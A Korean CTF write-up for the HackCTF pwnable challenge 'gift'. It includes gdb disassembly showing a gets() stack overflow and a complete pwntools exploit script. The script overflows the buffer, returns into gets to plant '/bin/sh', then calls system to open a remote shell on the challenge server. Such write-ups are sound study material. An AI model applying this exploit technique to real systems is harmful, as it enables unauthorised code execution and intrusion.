snwo@snwo:~/Documents/GitHub/Wargame/Pwnable/HackCTF$ ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7d92200
good
good
hello
이렇게 두 주소를 준다. gdb 로 확인해보니,
첫번째주소는 전역변수 binsh 의 주소이다. 근데 아무런 데이터도 없는걸 봐선
내가 저 주소에 binsh 를 입력해야 하는 것 같다.
두번째주소는 system 함수의 주소이다.
0x080485cc <+134>: push eax
0x080485cd <+135>: push 0x80
0x080485d2 <+140>: lea eax,[ebp-0x84]
0x080485d8 <+146>: push eax
0x080485d9 <+147>: call 0x80483e0 <fgets@plt>
0x080485de <+152>: add esp,0xc
0x080485e1 <+155>: lea eax,[ebp-0x84]
0x080485e7 <+161>: push eax
0x080485e8 <+162>: call 0x80483c0 <printf@plt>
0x080485ed <+167>: add esp,0x4
0x080485f0 <+170>: lea eax,[ebp-0x84]
0x080485f6 <+176>: push eax
0x080485f7 <+177>: call 0x80483d0 <gets@plt>
0x080485fc <+182>: add esp,0x4
0x080485ff <+185>: mov eax,0x0
0x08048604 <+190>: mov ebx,DWORD PTR [ebp-0x4]
0x08048607 <+193>: leave
0x08048608 <+194>: ret
입력을 두번 받는데, 처음에는 fgets 로 0x80 만큼 입력받아서 ret 를 덮을 수 없고,
두번째는 gets 로 입력받아 ret 를 덮을 수 있다.
gets함수로 리턴해서 binsh 에 '/bin/sh' 를 입력하고,
binsh 를 인자로해서 system 함수를 호출하면 되겠다.
r=remote("ctf.j0n9hyun.xyz",3018)
#r=process("./gift")
r.recvuntil(": ")
s=r.recvline().strip()
s=s.split()
context.log_level='debug'
pay1="snwo.tistory.com"
r.sendline(pay1)
pay2=""
pay2+='x'*0x88
pay2+=p32(0x80483d0) #gets
pay2+=p32(int(s[1],16)) #ret
pay2+=p32(int(s[0],16)) #arg
pay2+=p32(int(s[0],16)) #system-arg
r.sendline(pay2)
r.sendline('/bin/sh\x00')
r.interactive()
첫번째 input 은 아무상관 없다.